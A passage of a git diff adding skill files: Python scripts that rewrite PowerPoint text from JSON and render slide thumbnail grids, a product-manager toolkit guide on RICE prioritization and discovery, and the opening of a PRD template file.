pPr.remove(child) + + return pPr + + +def apply_paragraph_properties(paragraph, para_data: Dict[str, Any]): + """Apply formatting properties to a paragraph.""" + # Get the text but don't set it on paragraph directly yet + text = para_data.get("text", "") + + # Get or create paragraph properties + pPr = clear_paragraph_bullets(paragraph) + + # Handle bullet formatting + if para_data.get("bullet", False): + level = para_data.get("level", 0) + paragraph.level = level + + # Calculate font-proportional indentation + font_size = para_data.get("font_size", 18.0) + level_indent_emu = int((font_size * (1.6 + level * 1.6)) * 12700) + hanging_indent_emu = int(-font_size * 0.8 * 12700) + + # Set indentation + pPr.attrib["marL"] = str(level_indent_emu) + pPr.attrib["indent"] = str(hanging_indent_emu) + + # Add bullet character + buChar = OxmlElement("a:buChar") + buChar.set("char", "•") + pPr.append(buChar) + + # Default to left alignment for bullets if not specified + if "alignment" not in para_data: + paragraph.alignment = PP_ALIGN.LEFT + else: + # Remove indentation for non-bullet text + pPr.attrib["marL"] = "0" + pPr.attrib["indent"] = "0" + + # Add buNone element + buNone = OxmlElement("a:buNone") + pPr.insert(0, buNone) + + # Apply alignment + if "alignment" in para_data: + alignment_map = { + "LEFT": PP_ALIGN.LEFT, + "CENTER": PP_ALIGN.CENTER, + "RIGHT": PP_ALIGN.RIGHT, + "JUSTIFY": PP_ALIGN.JUSTIFY, + } + if para_data["alignment"] in alignment_map: + paragraph.alignment = alignment_map[para_data["alignment"]] + + # Apply spacing + if "space_before" in para_data: + paragraph.space_before = Pt(para_data["space_before"]) + if "space_after" in para_data: + paragraph.space_after = Pt(para_data["space_after"]) + if "line_spacing" in para_data: + paragraph.line_spacing = Pt(para_data["line_spacing"]) + + # Apply run-level formatting + if not paragraph.runs: + run = paragraph.add_run() + run.text = text + else: + run = paragraph.runs[0] + run.text = text + + # Apply font properties + apply_font_properties(run, para_data) + + +def apply_font_properties(run, para_data: Dict[str, Any]): + """Apply font properties to a text run.""" + if "bold" in para_data: + run.font.bold = para_data["bold"] + if "italic" in para_data: + run.font.italic = para_data["italic"] + if "underline" in para_data: + run.font.underline = para_data["underline"] + if "font_size" in para_data: + run.font.size = Pt(para_data["font_size"]) + if "font_name" in para_data: + run.font.name = para_data["font_name"] + + # Apply color - prefer RGB, fall back to theme_color + if "color" in para_data: + color_hex = para_data["color"].lstrip("#") + if len(color_hex) == 6: + r = int(color_hex[0:2], 16) + g = int(color_hex[2:4], 16) + b = int(color_hex[4:6], 16) + run.font.color.rgb = RGBColor(r, g, b) + elif "theme_color" in para_data: + # Get theme color by name (e.g., "DARK_1", "ACCENT_1") + theme_name = para_data["theme_color"] + try: + run.font.color.theme_color = getattr(MSO_THEME_COLOR, theme_name) + except AttributeError: + print(f" WARNING: Unknown theme color name '{theme_name}'") + + +def detect_frame_overflow(inventory: InventoryData) -> Dict[str, Dict[str, float]]: + """Detect text overflow in shapes (text exceeding shape bounds). + + Returns dict of slide_key -> shape_key -> overflow_inches. + Only includes shapes that have text overflow. + """ + overflow_map = {} + + for slide_key, shapes_dict in inventory.items(): + for shape_key, shape_data in shapes_dict.items(): + # Check for frame overflow (text exceeding shape bounds) + if shape_data.frame_overflow_bottom is not None: + if slide_key not in overflow_map: + overflow_map[slide_key] = {} + overflow_map[slide_key][shape_key] = shape_data.frame_overflow_bottom + + return overflow_map + + +def validate_replacements(inventory: InventoryData, replacements: Dict) -> List[str]: + """Validate that all shapes in replacements exist in inventory. + + Returns list of error messages. + """ + errors = [] + + for slide_key, shapes_data in replacements.items(): + if not slide_key.startswith("slide-"): + continue + + # Check if slide exists + if slide_key not in inventory: + errors.append(f"Slide '{slide_key}' not found in inventory") + continue + + # Check each shape + for shape_key in shapes_data.keys(): + if shape_key not in inventory[slide_key]: + # Find shapes without replacements defined and show their content + unused_with_content = [] + for k in inventory[slide_key].keys(): + if k not in shapes_data: + shape_data = inventory[slide_key][k] + # Get text from paragraphs as preview + paragraphs = shape_data.paragraphs + if paragraphs and paragraphs[0].text: + first_text = paragraphs[0].text[:50] + if len(paragraphs[0].text) > 50: + first_text += "..." + unused_with_content.append(f"{k} ('{first_text}')") + else: + unused_with_content.append(k) + + errors.append( + f"Shape '{shape_key}' not found on '{slide_key}'. " + f"Shapes without replacements: {', '.join(sorted(unused_with_content)) if unused_with_content else 'none'}" + ) + + return errors + + +def check_duplicate_keys(pairs): + """Check for duplicate keys when loading JSON.""" + result = {} + for key, value in pairs: + if key in result: + raise ValueError(f"Duplicate key found in JSON: '{key}'") + result[key] = value + return result + + +def apply_replacements(pptx_file: str, json_file: str, output_file: str): + """Apply text replacements from JSON to PowerPoint presentation.""" + + # Load presentation + prs = Presentation(pptx_file) + + # Get inventory of all text shapes (returns ShapeData objects) + # Pass prs to use same Presentation instance + inventory = extract_text_inventory(Path(pptx_file), prs) + + # Detect text overflow in original presentation + original_overflow = detect_frame_overflow(inventory) + + # Load replacement data with duplicate key detection + with open(json_file, "r") as f: + replacements = json.load(f, object_pairs_hook=check_duplicate_keys) + + # Validate replacements + errors = validate_replacements(inventory, replacements) + if errors: + print("ERROR: Invalid shapes in replacement JSON:") + for error in errors: + print(f" - {error}") + print("\nPlease check the inventory and update your replacement JSON.") + print( + "You can regenerate the inventory with: python inventory.py <input.pptx> <output.json>" + ) + raise ValueError(f"Found {len(errors)} validation error(s)") + + # Track statistics + shapes_processed = 0 + shapes_cleared = 0 + shapes_replaced = 0 + + # Process each slide from inventory + for slide_key, shapes_dict in inventory.items(): + if not slide_key.startswith("slide-"): + continue + + slide_index = int(slide_key.split("-")[1]) + + if slide_index >= len(prs.slides): + print(f"Warning: Slide {slide_index} not found") + continue + + # Process each shape from inventory + for shape_key, shape_data in shapes_dict.items(): + shapes_processed += 1 + + # Get the shape directly from ShapeData + shape = shape_data.shape + if not shape: + print(f"Warning: {shape_key} has no shape reference") + continue + + # ShapeData already validates text_frame in __init__ + text_frame = shape.text_frame # type: ignore + + text_frame.clear() # type: ignore + shapes_cleared += 1 + + # Check for replacement paragraphs + replacement_shape_data = replacements.get(slide_key, {}).get(shape_key, {}) + if "paragraphs" not in replacement_shape_data: + continue + + shapes_replaced += 1 + + # Add replacement paragraphs + for i, para_data in enumerate(replacement_shape_data["paragraphs"]): + if i == 0: + p = text_frame.paragraphs[0] # type: ignore + else: + p = text_frame.add_paragraph() # type: ignore + + apply_paragraph_properties(p, para_data) + + # Check for issues after replacements + # Save to a temporary file and reload to avoid modifying the presentation during inventory + # (extract_text_inventory accesses font.color which adds empty <a:solidFill/> elements) + import tempfile + + with tempfile.NamedTemporaryFile(suffix=".pptx", delete=False) as tmp: + tmp_path = Path(tmp.name) + prs.save(str(tmp_path)) + + try: + updated_inventory = extract_text_inventory(tmp_path) + updated_overflow = detect_frame_overflow(updated_inventory) + finally: + tmp_path.unlink() # Clean up temp file + + # Check if any text overflow got worse + overflow_errors = [] + for slide_key, shape_overflows in updated_overflow.items(): + for shape_key, new_overflow in shape_overflows.items(): + # Get original overflow (0 if there was no overflow before) + original = original_overflow.get(slide_key, {}).get(shape_key, 0.0) + + # Error if overflow increased + if new_overflow > original + 0.01: # Small tolerance for rounding + increase = new_overflow - original + overflow_errors.append( + f'{slide_key}/{shape_key}: overflow worsened by {increase:.2f}" ' + f'(was {original:.2f}", now {new_overflow:.2f}")' + ) + + # Collect warnings from updated shapes + warnings = [] + for slide_key, shapes_dict in updated_inventory.items(): + for shape_key, shape_data in shapes_dict.items(): + if shape_data.warnings: + for warning in shape_data.warnings: + warnings.append(f"{slide_key}/{shape_key}: {warning}") + + # Fail if there are any issues + if overflow_errors or warnings: + print("\nERROR: Issues detected in replacement output:") + if overflow_errors: + print("\nText overflow worsened:") + for error in overflow_errors: + print(f" - {error}") + if warnings: + print("\nFormatting warnings:") + for warning in warnings: + print(f" - {warning}") + print("\nPlease fix these issues before saving.") + raise ValueError( + f"Found {len(overflow_errors)} overflow error(s) and {len(warnings)} warning(s)" + ) + + # Save the presentation + prs.save(output_file) + + # Report results + print(f"Saved updated presentation to: {output_file}") + print(f"Processed {len(prs.slides)} slides") + print(f" - Shapes processed: {shapes_processed}") + print(f" - Shapes cleared: {shapes_cleared}") + print(f" - Shapes replaced: {shapes_replaced}") + + +def main(): + """Main entry point for command-line usage.""" + if len(sys.argv) != 4: + print(__doc__) + sys.exit(1) + + input_pptx = Path(sys.argv[1]) + replacements_json = Path(sys.argv[2]) + output_pptx = Path(sys.argv[3]) + + if not input_pptx.exists(): + print(f"Error: Input file '{input_pptx}' not found") + sys.exit(1) + + if not replacements_json.exists(): + print(f"Error: Replacements JSON file '{replacements_json}' not found") + sys.exit(1) + + try: + apply_replacements(str(input_pptx), str(replacements_json), str(output_pptx)) + except Exception as e: + print(f"Error applying replacements: {e}") + import traceback + + traceback.print_exc() + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/skills/pptx/scripts/thumbnail.py b/skills/pptx/scripts/thumbnail.py new file mode 100755 index 00000000..5c7fdf19 --- /dev/null +++ b/skills/pptx/scripts/thumbnail.py @@ -0,0 +1,450 @@ +#!/usr/bin/env python3 +""" +Create thumbnail grids from PowerPoint presentation slides. + +Creates a grid layout of slide thumbnails with configurable columns (max 6). +Each grid contains up to cols×(cols+1) images. For presentations with more +slides, multiple numbered grid files are created automatically. + +The program outputs the names of all files created. + +Output: +- Single grid: {prefix}.jpg (if slides fit in one grid) +- Multiple grids: {prefix}-1.jpg, {prefix}-2.jpg, etc. + +Grid limits by column count: +- 3 cols: max 12 slides per grid (3×4) +- 4 cols: max 20 slides per grid (4×5) +- 5 cols: max 30 slides per grid (5×6) [default] +- 6 cols: max 42 slides per grid (6×7) + +Usage: + python thumbnail.py input.pptx [output_prefix] [--cols N] [--outline-placeholders] + +Examples: + python thumbnail.py presentation.pptx + # Creates: thumbnails.jpg (using default prefix) + # Outputs: + # Created 1 grid(s): + # - thumbnails.jpg + + python thumbnail.py large-deck.pptx grid --cols 4 + # Creates: grid-1.jpg, grid-2.jpg, grid-3.jpg + # Outputs: + # Created 3 grid(s): + # - grid-1.jpg + # - grid-2.jpg + # - grid-3.jpg + + python thumbnail.py template.pptx analysis --outline-placeholders + # Creates thumbnail grids with red outlines around text placeholders +""" + +import argparse +import subprocess +import sys +import tempfile +from pathlib import Path + +from inventory import extract_text_inventory +from PIL import Image, ImageDraw, ImageFont +from pptx import Presentation + +# Constants +THUMBNAIL_WIDTH = 300 # Fixed thumbnail width in pixels +CONVERSION_DPI = 100 # DPI for PDF to image conversion +MAX_COLS = 6 # Maximum number of columns +DEFAULT_COLS = 5 # Default number of columns +JPEG_QUALITY = 95 # JPEG compression quality + +# Grid layout constants +GRID_PADDING = 20 # Padding between thumbnails +BORDER_WIDTH = 2 # Border width around thumbnails +FONT_SIZE_RATIO = 0.12 # Font size as fraction of thumbnail width +LABEL_PADDING_RATIO = 0.4 # Label padding as fraction of font size + + +def main(): + parser = argparse.ArgumentParser( + description="Create thumbnail grids from PowerPoint slides." + ) + parser.add_argument("input", help="Input PowerPoint file (.pptx)") + parser.add_argument( + "output_prefix", + nargs="?", + default="thumbnails", + help="Output prefix for image files (default: thumbnails, will create prefix.jpg or prefix-N.jpg)", + ) + parser.add_argument( + "--cols", + type=int, + default=DEFAULT_COLS, + help=f"Number of columns (default: {DEFAULT_COLS}, max: {MAX_COLS})", + ) + parser.add_argument( + "--outline-placeholders", + action="store_true", + help="Outline text placeholders with a colored border", + ) + + args = parser.parse_args() + + # Validate columns + cols = min(args.cols, MAX_COLS) + if args.cols > MAX_COLS: + print(f"Warning: Columns limited to {MAX_COLS} (requested {args.cols})") + + # Validate input + input_path = Path(args.input) + if not input_path.exists() or input_path.suffix.lower() != ".pptx": + print(f"Error: Invalid PowerPoint file: {args.input}") + sys.exit(1) + + # Construct output path (always JPG) + output_path = Path(f"{args.output_prefix}.jpg") + + print(f"Processing: {args.input}") + + try: + with tempfile.TemporaryDirectory() as temp_dir: + # Get placeholder regions if outlining is enabled + placeholder_regions = None + slide_dimensions = None + if args.outline_placeholders: + print("Extracting placeholder regions...") + placeholder_regions, slide_dimensions = get_placeholder_regions( + input_path + ) + if placeholder_regions: + print(f"Found placeholders on {len(placeholder_regions)} slides") + + # Convert slides to images + slide_images = convert_to_images(input_path, Path(temp_dir), CONVERSION_DPI) + if not slide_images: + print("Error: No slides found") + sys.exit(1) + + print(f"Found {len(slide_images)} slides") + + # Create grids (max cols×(cols+1) images per grid) + grid_files = create_grids( + slide_images, + cols, + THUMBNAIL_WIDTH, + output_path, + placeholder_regions, + slide_dimensions, + ) + + # Print saved files + print(f"Created {len(grid_files)} grid(s):") + for grid_file in grid_files: + print(f" - {grid_file}") + + except Exception as e: + print(f"Error: {e}") + sys.exit(1) + + +def create_hidden_slide_placeholder(size): + """Create placeholder image for hidden slides.""" + img = Image.new("RGB", size, color="#F0F0F0") + draw = ImageDraw.Draw(img) + line_width = max(5, min(size) // 100) + draw.line([(0, 0), size], fill="#CCCCCC", width=line_width) + draw.line([(size[0], 0), (0, size[1])], fill="#CCCCCC", width=line_width) + return img + + +def get_placeholder_regions(pptx_path): + """Extract ALL text regions from the presentation. + + Returns a tuple of (placeholder_regions, slide_dimensions). + text_regions is a dict mapping slide indices to lists of text regions. + Each region is a dict with 'left', 'top', 'width', 'height' in inches. + slide_dimensions is a tuple of (width_inches, height_inches). + """ + prs = Presentation(str(pptx_path)) + inventory = extract_text_inventory(pptx_path, prs) + placeholder_regions = {} + + # Get actual slide dimensions in inches (EMU to inches conversion) + slide_width_inches = (prs.slide_width or 9144000) / 914400.0 + slide_height_inches = (prs.slide_height or 5143500) / 914400.0 + + for slide_key, shapes in inventory.items(): + # Extract slide index from "slide-N" format + slide_idx = int(slide_key.split("-")[1]) + regions = [] + + for shape_key, shape_data in shapes.items(): + # The inventory only contains shapes with text, so all shapes should be highlighted + regions.append( + { + "left": shape_data.left, + "top": shape_data.top, + "width": shape_data.width, + "height": shape_data.height, + } + ) + + if regions: + placeholder_regions[slide_idx] = regions + + return placeholder_regions, (slide_width_inches, slide_height_inches) + + +def convert_to_images(pptx_path, temp_dir, dpi): + """Convert PowerPoint to images via PDF, handling hidden slides.""" + # Detect hidden slides + print("Analyzing presentation...") + prs = Presentation(str(pptx_path)) + total_slides = len(prs.slides) + + # Find hidden slides (1-based indexing for display) + hidden_slides = { + idx + 1 + for idx, slide in enumerate(prs.slides) + if slide.element.get("show") == "0" + } + + print(f"Total slides: {total_slides}") + if hidden_slides: + print(f"Hidden slides: {sorted(hidden_slides)}") + + pdf_path = temp_dir / f"{pptx_path.stem}.pdf" + + # Convert to PDF + print("Converting to PDF...") + result = subprocess.run( + [ + "soffice", + "--headless", + "--convert-to", + "pdf", + "--outdir", + str(temp_dir), + str(pptx_path), + ], + capture_output=True, + text=True, + ) + if result.returncode != 0 or not pdf_path.exists(): + raise RuntimeError("PDF conversion failed") + + # Convert PDF to images + print(f"Converting to images at {dpi} DPI...") + result = subprocess.run( + ["pdftoppm", "-jpeg", "-r", str(dpi), str(pdf_path), str(temp_dir / "slide")], + capture_output=True, + text=True, + ) + if result.returncode != 0: + raise RuntimeError("Image conversion failed") + + visible_images = sorted(temp_dir.glob("slide-*.jpg")) + + # Create full list with placeholders for hidden slides + all_images = [] + visible_idx = 0 + + # Get placeholder dimensions from first visible slide + if visible_images: + with Image.open(visible_images[0]) as img: + placeholder_size = img.size + else: + placeholder_size = (1920, 1080) + + for slide_num in range(1, total_slides + 1): + if slide_num in hidden_slides: + # Create placeholder image for hidden slide + placeholder_path = temp_dir / f"hidden-{slide_num:03d}.jpg" + placeholder_img = create_hidden_slide_placeholder(placeholder_size) + placeholder_img.save(placeholder_path, "JPEG") + all_images.append(placeholder_path) + else: + # Use the actual visible slide image + if visible_idx < len(visible_images): + all_images.append(visible_images[visible_idx]) + visible_idx += 1 + + return all_images + + +def create_grids( + image_paths, + cols, + width, + output_path, + placeholder_regions=None, + slide_dimensions=None, +): + """Create multiple thumbnail grids from slide images, max cols×(cols+1) images per grid.""" + # Maximum images per grid is cols × (cols + 1) for better proportions + max_images_per_grid = cols * (cols + 1) + grid_files = [] + + print( + f"Creating grids with {cols} columns (max {max_images_per_grid} images per grid)" + ) + + # Split images into chunks + for chunk_idx, start_idx in enumerate( + range(0, len(image_paths), max_images_per_grid) + ): + end_idx = min(start_idx + max_images_per_grid, len(image_paths)) + chunk_images = image_paths[start_idx:end_idx] + + # Create grid for this chunk + grid = create_grid( + chunk_images, cols, width, start_idx, placeholder_regions, slide_dimensions + ) + + # Generate output filename + if len(image_paths) <= max_images_per_grid: + # Single grid - use base filename without suffix + grid_filename = output_path + else: + # Multiple grids - insert index before extension with dash + stem = output_path.stem + suffix = output_path.suffix + grid_filename = output_path.parent / f"{stem}-{chunk_idx + 1}{suffix}" + + # Save grid + grid_filename.parent.mkdir(parents=True, exist_ok=True) + grid.save(str(grid_filename), quality=JPEG_QUALITY) + grid_files.append(str(grid_filename)) + + return grid_files + + +def create_grid( + image_paths, + cols, + width, + start_slide_num=0, + placeholder_regions=None, + slide_dimensions=None, +): + """Create thumbnail grid from slide images with optional placeholder outlining.""" + font_size = int(width * FONT_SIZE_RATIO) + label_padding = int(font_size * LABEL_PADDING_RATIO) + + # Get dimensions + with Image.open(image_paths[0]) as img: + aspect = img.height / img.width + height = int(width * aspect) + + # Calculate grid size + rows = (len(image_paths) + cols - 1) // cols + grid_w = cols * width + (cols + 1) * GRID_PADDING + grid_h = rows * (height + font_size + label_padding * 2) + (rows + 1) * GRID_PADDING + + # Create grid + grid = Image.new("RGB", (grid_w, grid_h), "white") + draw = ImageDraw.Draw(grid) + + # Load font with size based on thumbnail width + try: + # Use Pillow's default font with size + font = ImageFont.load_default(size=font_size) + except Exception: + # Fall back to basic default font if size parameter not supported + font = ImageFont.load_default() + + # Place thumbnails + for i, img_path in enumerate(image_paths): + row, col = i // cols, i % cols + x = col * width + (col + 1) * GRID_PADDING + y_base = ( + row * (height + font_size + label_padding * 2) + (row + 1) * GRID_PADDING + ) + + # Add label with actual slide number + label = f"{start_slide_num + i}" + bbox = draw.textbbox((0, 0), label, font=font) + text_w = bbox[2] - bbox[0] + draw.text( + (x + (width - text_w) // 2, y_base + label_padding), + label, + fill="black", + font=font, + ) + + # Add thumbnail below label with proportional spacing + y_thumbnail = y_base + label_padding + font_size + label_padding + + with Image.open(img_path) as img: + # Get original dimensions before thumbnail + orig_w, orig_h = img.size + + # Apply placeholder outlines if enabled + if placeholder_regions and (start_slide_num + i) in placeholder_regions: + # Convert to RGBA for transparency support + if img.mode != "RGBA": + img = img.convert("RGBA") + + # Get the regions for this slide + regions = placeholder_regions[start_slide_num + i] + + # Calculate scale factors using actual slide dimensions + if slide_dimensions: + slide_width_inches, slide_height_inches = slide_dimensions + else: + # Fallback: estimate from image size at CONVERSION_DPI + slide_width_inches = orig_w / CONVERSION_DPI + slide_height_inches = orig_h / CONVERSION_DPI + + x_scale = orig_w / slide_width_inches + y_scale = orig_h / slide_height_inches + + # Create a highlight overlay + overlay = Image.new("RGBA", img.size, (255, 255, 255, 0)) + overlay_draw = ImageDraw.Draw(overlay) + + # Highlight each placeholder region + for region in regions: + # Convert from inches to pixels in the original image + px_left = int(region["left"] * x_scale) + px_top = int(region["top"] * y_scale) + px_width = int(region["width"] * x_scale) + px_height = int(region["height"] * y_scale) + + # Draw highlight outline with red color and thick stroke + # Using a bright red outline instead of fill + stroke_width = max( + 5, min(orig_w, orig_h) // 150 + ) # Thicker proportional stroke width + overlay_draw.rectangle( + [(px_left, px_top), (px_left + px_width, px_top + px_height)], + outline=(255, 0, 0, 255), # Bright red, fully opaque + width=stroke_width, + ) + + # Composite the overlay onto the image using alpha blending + img = Image.alpha_composite(img, overlay) + # Convert back to RGB for JPEG saving + img = img.convert("RGB") + + img.thumbnail((width, height), Image.Resampling.LANCZOS) + w, h = img.size + tx = x + (width - w) // 2 + ty = y_thumbnail + (height - h) // 2 + grid.paste(img, (tx, ty)) + + # Add border + if BORDER_WIDTH > 0: + draw.rectangle( + [ + (tx - BORDER_WIDTH, ty - BORDER_WIDTH), + (tx + w + BORDER_WIDTH - 1, ty + h + BORDER_WIDTH - 1), + ], + outline="gray", + width=BORDER_WIDTH, + ) + + return grid + + +if __name__ == "__main__": + main() diff --git a/skills/product-manager-toolkit/SKILL.md b/skills/product-manager-toolkit/SKILL.md new file mode 100644 index 00000000..f0d605bf --- /dev/null +++ b/skills/product-manager-toolkit/SKILL.md @@ -0,0 +1,351 @@ +--- +name: product-manager-toolkit +description: Comprehensive toolkit for product managers including RICE prioritization, customer interview analysis, PRD templates, discovery frameworks, and go-to-market strategies. Use for feature prioritization, user research synthesis, requirement documentation, and product strategy development. +--- + +# Product Manager Toolkit + +Essential tools and frameworks for modern product management, from discovery to delivery. + +## Quick Start + +### For Feature Prioritization +```bash +python scripts/rice_prioritizer.py sample # Create sample CSV +python scripts/rice_prioritizer.py sample_features.csv --capacity 15 +``` + +### For Interview Analysis +```bash +python scripts/customer_interview_analyzer.py interview_transcript.txt +``` + +### For PRD Creation +1. Choose template from `references/prd_templates.md` +2. Fill in sections based on discovery work +3. Review with stakeholders +4. Version control in your PM tool + +## Core Workflows + +### Feature Prioritization Process + +1. **Gather Feature Requests** + - Customer feedback + - Sales requests + - Technical debt + - Strategic initiatives + +2. **Score with RICE** + ```bash + # Create CSV with: name,reach,impact,confidence,effort + python scripts/rice_prioritizer.py features.csv + ``` + - **Reach**: Users affected per quarter + - **Impact**: massive/high/medium/low/minimal + - **Confidence**: high/medium/low + - **Effort**: xl/l/m/s/xs (person-months) + +3. **Analyze Portfolio** + - Review quick wins vs big bets + - Check effort distribution + - Validate against strategy + +4. **Generate Roadmap** + - Quarterly capacity planning + - Dependency mapping + - Stakeholder alignment + +### Customer Discovery Process + +1. **Conduct Interviews** + - Use semi-structured format + - Focus on problems, not solutions + - Record with permission + +2. **Analyze Insights** + ```bash + python scripts/customer_interview_analyzer.py transcript.txt + ``` + Extracts: + - Pain points with severity + - Feature requests with priority + - Jobs to be done + - Sentiment analysis + - Key themes and quotes + +3. **Synthesize Findings** + - Group similar pain points + - Identify patterns across interviews + - Map to opportunity areas + +4. **Validate Solutions** + - Create solution hypotheses + - Test with prototypes + - Measure actual vs expected behavior + +### PRD Development Process + +1. **Choose Template** + - **Standard PRD**: Complex features (6-8 weeks) + - **One-Page PRD**: Simple features (2-4 weeks) + - **Feature Brief**: Exploration phase (1 week) + - **Agile Epic**: Sprint-based delivery + +2. **Structure Content** + - Problem → Solution → Success Metrics + - Always include out-of-scope + - Clear acceptance criteria + +3. **Collaborate** + - Engineering for feasibility + - Design for experience + - Sales for market validation + - Support for operational impact + +## Key Scripts + +### rice_prioritizer.py +Advanced RICE framework implementation with portfolio analysis. + +**Features**: +- RICE score calculation +- Portfolio balance analysis (quick wins vs big bets) +- Quarterly roadmap generation +- Team capacity planning +- Multiple output formats (text/json/csv) + +**Usage Examples**: +```bash +# Basic prioritization +python scripts/rice_prioritizer.py features.csv + +# With custom team capacity (person-months per quarter) +python scripts/rice_prioritizer.py features.csv --capacity 20 + +# Output as JSON for integration +python scripts/rice_prioritizer.py features.csv --output json +``` + +### customer_interview_analyzer.py +NLP-based interview analysis for extracting actionable insights. + +**Capabilities**: +- Pain point extraction with severity assessment +- Feature request identification and classification +- Jobs-to-be-done pattern recognition +- Sentiment analysis +- Theme extraction +- Competitor mentions +- Key quotes identification + +**Usage Examples**: +```bash +# Analyze single interview +python scripts/customer_interview_analyzer.py interview.txt + +# Output as JSON for aggregation +python scripts/customer_interview_analyzer.py interview.txt json +``` + +## Reference Documents + +### prd_templates.md +Multiple PRD formats for different contexts: + +1. **Standard PRD Template** + - Comprehensive 11-section format + - Best for major features + - Includes technical specs + +2. **One-Page PRD** + - Concise format for quick alignment + - Focus on problem/solution/metrics + - Good for smaller features + +3. **Agile Epic Template** + - Sprint-based delivery + - User story mapping + - Acceptance criteria focus + +4. **Feature Brief** + - Lightweight exploration + - Hypothesis-driven + - Pre-PRD phase + +## Prioritization Frameworks + +### RICE Framework +``` +Score = (Reach × Impact × Confidence) / Effort + +Reach: # of users/quarter +Impact: + - Massive = 3x + - High = 2x + - Medium = 1x + - Low = 0.5x + - Minimal = 0.25x +Confidence: + - High = 100% + - Medium = 80% + - Low = 50% +Effort: Person-months +``` + +### Value vs Effort Matrix +``` + Low Effort High Effort + +High QUICK WINS BIG BETS +Value [Prioritize] [Strategic] + +Low FILL-INS TIME SINKS +Value [Maybe] [Avoid] +``` + +### MoSCoW Method +- **Must Have**: Critical for launch +- **Should Have**: Important but not critical +- **Could Have**: Nice to have +- **Won't Have**: Out of scope + +## Discovery Frameworks + +### Customer Interview Guide +``` +1. Context Questions (5 min) + - Role and responsibilities + - Current workflow + - Tools used + +2. Problem Exploration (15 min) + - Pain points + - Frequency and impact + - Current workarounds + +3. Solution Validation (10 min) + - Reaction to concepts + - Value perception + - Willingness to pay + +4. Wrap-up (5 min) + - Other thoughts + - Referrals + - Follow-up permission +``` + +### Hypothesis Template +``` +We believe that [building this feature] +For [these users] +Will [achieve this outcome] +We'll know we're right when [metric] +``` + +### Opportunity Solution Tree +``` +Outcome +├── Opportunity 1 +│ ├── Solution A +│ └── Solution B +└── Opportunity 2 + ├── Solution C + └── Solution D +``` + +## Metrics & Analytics + +### North Star Metric Framework +1. **Identify Core Value**: What's the #1 value to users? +2. **Make it Measurable**: Quantifiable and trackable +3. **Ensure It's Actionable**: Teams can influence it +4. **Check Leading Indicator**: Predicts business success + +### Funnel Analysis Template +``` +Acquisition → Activation → Retention → Revenue → Referral + +Key Metrics: +- Conversion rate at each step +- Drop-off points +- Time between steps +- Cohort variations +``` + +### Feature Success Metrics +- **Adoption**: % of users using feature +- **Frequency**: Usage per user per time period +- **Depth**: % of feature capability used +- **Retention**: Continued usage over time +- **Satisfaction**: NPS/CSAT for feature + +## Best Practices + +### Writing Great PRDs +1. Start with the problem, not solution +2. Include clear success metrics upfront +3. Explicitly state what's out of scope +4. Use visuals (wireframes, flows) +5. Keep technical details in appendix +6. Version control changes + +### Effective Prioritization +1. Mix quick wins with strategic bets +2. Consider opportunity cost +3. Account for dependencies +4. Buffer for unexpected work (20%) +5. Revisit quarterly +6. Communicate decisions clearly + +### Customer Discovery Tips +1. Ask "why" 5 times +2. Focus on past behavior, not future intentions +3. Avoid leading questions +4. Interview in their environment +5. Look for emotional reactions +6. Validate with data + +### Stakeholder Management +1. Identify RACI for decisions +2. Regular async updates +3. Demo over documentation +4. Address concerns early +5. Celebrate wins publicly +6. Learn from failures openly + +## Common Pitfalls to Avoid + +1. **Solution-First Thinking**: Jumping to features before understanding problems +2. **Analysis Paralysis**: Over-researching without shipping +3. **Feature Factory**: Shipping features without measuring impact +4. **Ignoring Technical Debt**: Not allocating time for platform health +5. **Stakeholder Surprise**: Not communicating early and often +6. **Metric Theater**: Optimizing vanity metrics over real value + +## Integration Points + +This toolkit integrates with: +- **Analytics**: Amplitude, Mixpanel, Google Analytics +- **Roadmapping**: ProductBoard, Aha!, Roadmunk +- **Design**: Figma, Sketch, Miro +- **Development**: Jira, Linear, GitHub +- **Research**: Dovetail, UserVoice, Pendo +- **Communication**: Slack, Notion, Confluence + +## Quick Commands Cheat Sheet + +```bash +# Prioritization +python scripts/rice_prioritizer.py features.csv --capacity 15 + +# Interview Analysis +python scripts/customer_interview_analyzer.py interview.txt + +# Create sample data +python scripts/rice_prioritizer.py sample + +# JSON outputs for integration +python scripts/rice_prioritizer.py features.csv --output json +python scripts/customer_interview_analyzer.py interview.txt json +``` diff --git a/skills/product-manager-toolkit/references/prd_templates.md b/skills/product-manager-toolkit/references/prd_templates.md new file mode 100644 index 00000000..fe8cc15d --- /dev/null +++ b/skills/product-manager-toolkit/references/prd_templates.md @@ -0,0 +1,317 @@ +# Product Requirements Document (PRD) Templates + +## Standard PRD Template + +### 1. Executive Summary +**Purpose**: One-page overview for executives and stakeholders + +#### Components: +- **Problem Statement** (2-3 sentences) +- **Proposed Solution** (2-3 sentences) +- **Business Impact** (3 bullet points) +- **Timeline** (High-level milestones) +- **Resources Required** (Team size and budget) +- **Success Metrics** (3-5 KPIs) + +### 2. Problem Definition + +#### 2.1 Customer Problem +- **Who**: Target user persona(s) +- **What**: Specific problem or need +- **When**: Context and frequency +- **Where**: Environment and touchpoints +- **Why**: Root cause analysis +- **Impact**: Cost of not solving + +#### 2.2 Market Opportunity +- **Market Size**: TAM, SAM, SOM +- **Growth Rate**: Annual growth percentage +- **Competition**: Current solutions and gaps +- **Timing**: Why now? + +#### 2.3 Business Case +- **Revenue Potential**: Projected impact +- **Cost Savings**: Efficiency gains +- **Strategic Value**: Alignment with company goals +- **Risk Assessment**: What if we don't do this? + +### 3. Solution Overview + +#### 3.1 Proposed Solution +- **High-Level Description**: What we're building +- **Key Capabilities**: Core functionality +- **User Journey**: End-to-end flow +- **Differentiation**: Unique value proposition + +#### 3.2 In Scope +- Feature 1: Description and priority +- Feature 2: Description and priority +- Feature 3: Description and priority + +#### 3.3 Out of Scope +- Explicitly what we're NOT doing +- Future considerations +- Dependencies on other teams + +#### 3.4 MVP Definition +- **Core Features**: Minimum viable feature set +- **Success Criteria**: Definition of "working" +- **Timeline**: MVP delivery date +- **Learning Goals**: What we want to validate + +### 4. User Stories & Requirements + +#### 4.1 User Stories +``` +As a [persona] +I want to [action] +So that [outcome/benefit] + +Acceptance Criteria: +- [ ] Criterion 1 +- [ ] Criterion 2 +- [ ] Criterion 3 +``` + +#### 4.2 Functional Requirements +| ID | Requirement | Priority | Notes | +|----|------------|----------|-------| +| FR1 | User can... | P0 | Critical for MVP | +| FR2 | System should... | P1 | Important | +| FR3 | Feature must... | P2 | Nice to have | + +#### 4.3 Non-Functional Requirements +- **Performance**: Response times, throughput +- **Scalability**: User/data 